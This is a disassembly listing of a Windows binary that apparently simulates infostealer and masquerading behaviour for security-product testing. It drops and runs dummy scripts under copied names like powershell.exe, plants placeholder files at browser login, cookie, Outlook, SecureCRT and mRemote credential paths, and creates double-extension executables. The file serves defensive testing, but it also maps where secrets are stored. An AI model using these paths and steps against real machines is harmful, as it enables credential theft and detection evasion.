cmp edi, 0x200d0028
jne case.default.0x14000d0ae
mov eax, dword [0x1400478a8]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.bat]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x1400478a0]
mov r8d, 0x208
movzx eax, word [0x1400478ac]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, str.echo_cmd_
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x1400478c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x1400478e0]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, [0x140047900]
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006405
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140047930]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_test.cs]
lea rcx, [rbp + 0x780]
mov eax, dword [reloc.WS2_32.dll_WSAStartup]
movsd xmm1, qword [0x1400477e0]
xor edx, edx
mov r8d, 0x208
movsd qword [rbp + 0x290], xmm1
movups xmmword [rbp + 0x280], xmm0
mov dword [rbp + 0x298], eax
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400477f0]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047800]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047820]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JYcsc.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x1400064f5
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYcsc.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x140047728]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.vbs]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x140047720]
mov r8d, 0x208
movzx eax, word [0x14004772c]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140047730]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047740]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047760]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JY_vbc.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x1400065f3
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_vbc.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x1400476f8]
lea rcx, [rbp + 0x280]
movups xmm0, xmmword [0x1400476e0]
mov dword [rbp + 0x298], eax
movzx eax, word [0x1400476fc]
movsd xmm1, qword [0x1400476f0]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140047700]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [rbp + 0x280]
call fcn.140001090
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x140047968]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.cmd]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x140047960]
mov r8d, 0x208
movzx eax, word [0x14004796c]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140047970]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047980]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x1400479a0]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JYcmd.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006767
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYcmd.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x200f0028
je 0x140006998
cmp edi, 0x20100028
je 0x14000689a
cmp edi, 0x20110028
jne case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_test.py]
lea rcx, [rbp + 0x780]
mov eax, dword [0x140047be8]
movsd xmm1, qword [0x140047be0]
xor edx, edx
mov r8d, 0x208
movsd qword [rbp + 0x290], xmm1
movups xmmword [rbp + 0x280], xmm0
mov dword [rbp + 0x298], eax
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140047bf0]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047c00]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047c28]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JYpython.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000687b
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140047c88]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x140047ae8]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.ps1]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x140047ae0]
mov r8d, 0x208
movzx eax, word [0x140047aec]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140047af0]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047b00]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047b30]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JYpowershell.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006979
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYpowershell.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x140047a28]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.reg]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x140047a20]
mov r8d, 0x208
movzx eax, word [0x140047a2c]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, str.this_is_reg
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047a40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047a60]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JY_reg.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006a77
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_reg.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x140047cc8]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.mp3]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x140047cc0]
mov r8d, 0x208
movzx eax, word [0x140047ccc]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
mov dword [rbp + 0x270], 0x4b0fbff
mov byte [rbp + 0x274], bl
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047cd0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, str.C:JYwmplayer.exe
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JYwmplayer.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006b85
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYpython.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x20170028
ja 0x140007070
je 0x140006f99
cmp edi, 0x20130028
je 0x140006e8b
cmp edi, 0x20140028
je 0x140006d9b
cmp edi, 0x20150028
je 0x140006cbd
cmp edi, 0x20160028
jne case.default.0x14000d0ae
lea rcx, str.mkdir___appdata__roaming_vandykeconfig_sessions_
call fcn.14001b9a0
lea rcx, str.echo_TestString______APPDATA__roamingVanDykeConfigSessionsDefault.ini_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, [0x1400481a0]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str._roamingVanDykeConfigSessionsDefault.ini
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x104
call fcn.140013860
lea rcx, str.mkdir___Application_DataVanDykeConfigSessions_
call fcn.14001b9a0
lea rcx, str.echo_TestString______Application_DataVanDykeConfigSessionsDefault.ini_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str.Application_Data
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.VanDykeConfigSessionsDefault.ini
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x574]
mov r8d, pe_nt_image_headers64
call fcn.140013860
lea rcx, [rbp + 0x570]
mov dword [rbp + 0x570], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov r8d, 0x208
lea rdx, [rbp + 0x780]
lea rcx, [0x140047f10]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp dword [rbp + 0x574], 6
jae 0x140006d53
lea rcx, str.mkdir___USERPROFILE_Cookies_
call fcn.14001b9a0
lea rcx, str.echo_123_____USERPROFILE_CookiesTestCookie.txt_
call fcn.14001b9a0
lea r9, [rbp + 0x780]
mov edx, 0x104
lea r8, str._sCookiesTestCookie.txt
lea rcx, [rbp + 0x360]
call fcn.1400017c0
lea rcx, [rbp + 0x360]
call fcn.140001090
jmp case.default.0x14000d0ae
lea rcx, str.mkdir___USERPROFILE_AppDataRoamingMicrosoftWindowsCookiesLow_
call fcn.14001b9a0
lea r9, [rbp + 0x780]
mov edx, 0x104
lea r8, str._sAppDataRoamingMicrosoftWindowsCookiesLowTestCookie.txt
lea rcx, [rbp + 0x360]
call fcn.1400017c0
lea rcx, str.echo_123_____USERPROFILE_AppDataRoamingMicrosoftWindowsCookiesLowTestCookie.txt_
call fcn.14001b9a0
lea rcx, [rbp + 0x360]
call fcn.140001090
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_test.js]
lea rcx, [rbp + 0x780]
mov eax, dword [reloc.WS2_32.dll_WSAStartup]
movsd xmm1, qword [0x140047e60]
xor edx, edx
mov r8d, 0x208
movsd qword [rbp + 0x290], xmm1
movups xmmword [rbp + 0x280], xmm0
mov dword [rbp + 0x298], eax
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, str.this_is_python
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047e80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047ea0]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JYjsc.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006e6c
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYjsc.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x140047d98]
lea rcx, [rbp + 0x780]
movups xmm0, xmmword [str.C:JY_test.ray]
xor edx, edx
mov dword [rbp + 0x298], eax
movsd xmm1, qword [0x140047d90]
mov r8d, 0x208
movzx eax, word [0x140047d9c]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x29c], ax
movsd qword [rbp + 0x290], xmm1
mov dword [rbp + 0x270], 0xfd61722e
mov byte [rbp + 0x274], bl
call fcn.140013860
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x280]
call fcn.1400011a0
lea rcx, [0x140047da0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047dc8]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rbp + 0x280]
mov edx, 0x104
lea r8, str.C:JY_realplay.exe__read__s
lea rcx, [rbp + 0x780]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x780]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006f7a
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_realplay.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, str.mkdir___USERPROFILE_Local_SettingsApplication_DataFelix_DeimelmRemote_
call fcn.14001b9a0
lea rcx, str.echo_123_____USERPROFILE_Local_SettingsApplication_DataFelix_DeimelmRemoteconfCons.xml_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.Local_SettingsApplication_DataFelix_DeimelmRemoteconfCons.xml
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x104
call fcn.140013860
lea rcx, str.mkdir___LOCALAPPDATA_Felix_DeimelmRemote_
call fcn.14001b9a0
lea rcx, str.echo_123_____LOCALAPPDATA_Felix_DeimelmRemoteconfCons.xml_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str.LOCALAPPADATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.Felix_DeimelmRemoteconfCons.xml
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x20180028
je 0x140007274
cmp edi, 0x20190028
je 0x1400070f5
cmp edi, 0x201f0028
jne case.default.0x14000d0ae
lea rcx, str.mkdir___LOCALAPPDATA_MicrosoftWindows_Live_Mail_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____LOCALAPPDATA_MicrosoftWindows_Live_Mail_test.oeaccount_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x780]
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.MicrosoftWindows_Live_Mail_test.oeaccount
lea rcx, [rbp + 0x780]
call fcn.1400100a0
lea rcx, [rbp + 0x780]
call fcn.140001090
lea rcx, [rbp + 0x780]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, str.mkdir___appdata_microsoftCredentials_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____appdata_microsoftCredentials_test.txt_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, [0x140048758]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.microsoftCredentials_test.txt
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.mkdir___appdata_MozillaFireFoxProfiles_a123456.default_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____appdata_MozillaFireFoxProfiles_a123456.defaultlogins.json_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str.appdata
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.MozillaFireFoxProfiles_a123456.defaultlogins.json
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.mkdir___LOCALAPPDATA_chromiumuser_datadefault_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____LOCALAPPDATA_chromiumuser_datadefaultlogin_data_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, [0x140048978]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.chromiumuser_datadefaultlogin_data
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.mkdir___LOCALAPPDATA_MicrosoftEdgeuser_datadefault_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____LOCALAPPDATA_MicrosoftEdgeuser_datadefaultlogin_data_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, [0x140048a70]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.MicrosoftEdgeuser_datadefaultlogin_data
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, str.mkdir___appdata_microsoftoutlook_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____appdata_microsoftoutlook_test.intern_ahnlab.com.ost_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, [0x140048590]
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x104
call fcn.140013860
lea rcx, str.mkdir___localappdata_microsoftoutlook_
call fcn.14001b9a0
lea rcx, str.echo_123123123_____localappdata_microsoftoutlook_test.intern_ahnlab.com.ost_
call fcn.14001b9a0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
lea rcx, [0x140048670]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, str.microsoftoutlook_test.intern_ahnlab.com.ost
lea rcx, [rbp + 0x360]
call fcn.1400100a0
lea rcx, [rbp + 0x360]
call fcn.140001090
lea rcx, [rbp + 0x360]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
test edi, edi
je 0x140007498
cmp edi, 0x10000
je 0x14000743f
cmp edi, 0x20000
je 0x1400073d9
cmp edi, 0x70000
jne case.default.0x14000d0ae
lea rcx, [0x140048bb8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140048bd8]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [0x140048bf8]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140048c20]
lea rcx, [0x140048c48]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea rcx, str.C:JYJY3.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_test.jpg.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140048db0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140048df0]
lea rcx, [0x140048e30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [0x140048e68]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140048ea8]
lea rcx, str.C:windows_system32cmdd.exe
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea rcx, str.C:WindowsSystem32cmdd.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:WindowsSystem32cmddd.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140048cb0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140048cd8]
call fcn.1400014d0
lea rcx, [0x140048d00]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140048d20]
lea rcx, [0x140048d40]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea rcx, str.C:JY_ren_test.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140048d90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140048fa8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140048fc8]
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [0x140049020]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140049040]
lea rcx, [0x140049060]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea rcx, [0x140049080]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYcmddd.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea rcx, [0x1400490c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x1400490e0]
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:JYcmdd.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
test edi, edi
je 0x140007628
cmp edi, 0x20000
je 0x1400075c1
cmp edi, 0x70000
jne case.default.0x14000d0ae
lea rcx, [0x1400493a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, str.C:JYJYtest2.exe
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140049408]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYJYTest2.exe__ren_C:JYJYtest.doc.exe
call fcn.14001b9a0
lea rcx, str.C:windows_system32JYtest.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYJYtest.doc.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140049230]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140049270]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400492b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:windows_system32JYTest.exe__ren_C:windows_system32_a.exe
call fcn.14001b9a0
lea rcx, [0x140049328]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:windows_system32_a.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140049160]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140049188]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400491b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
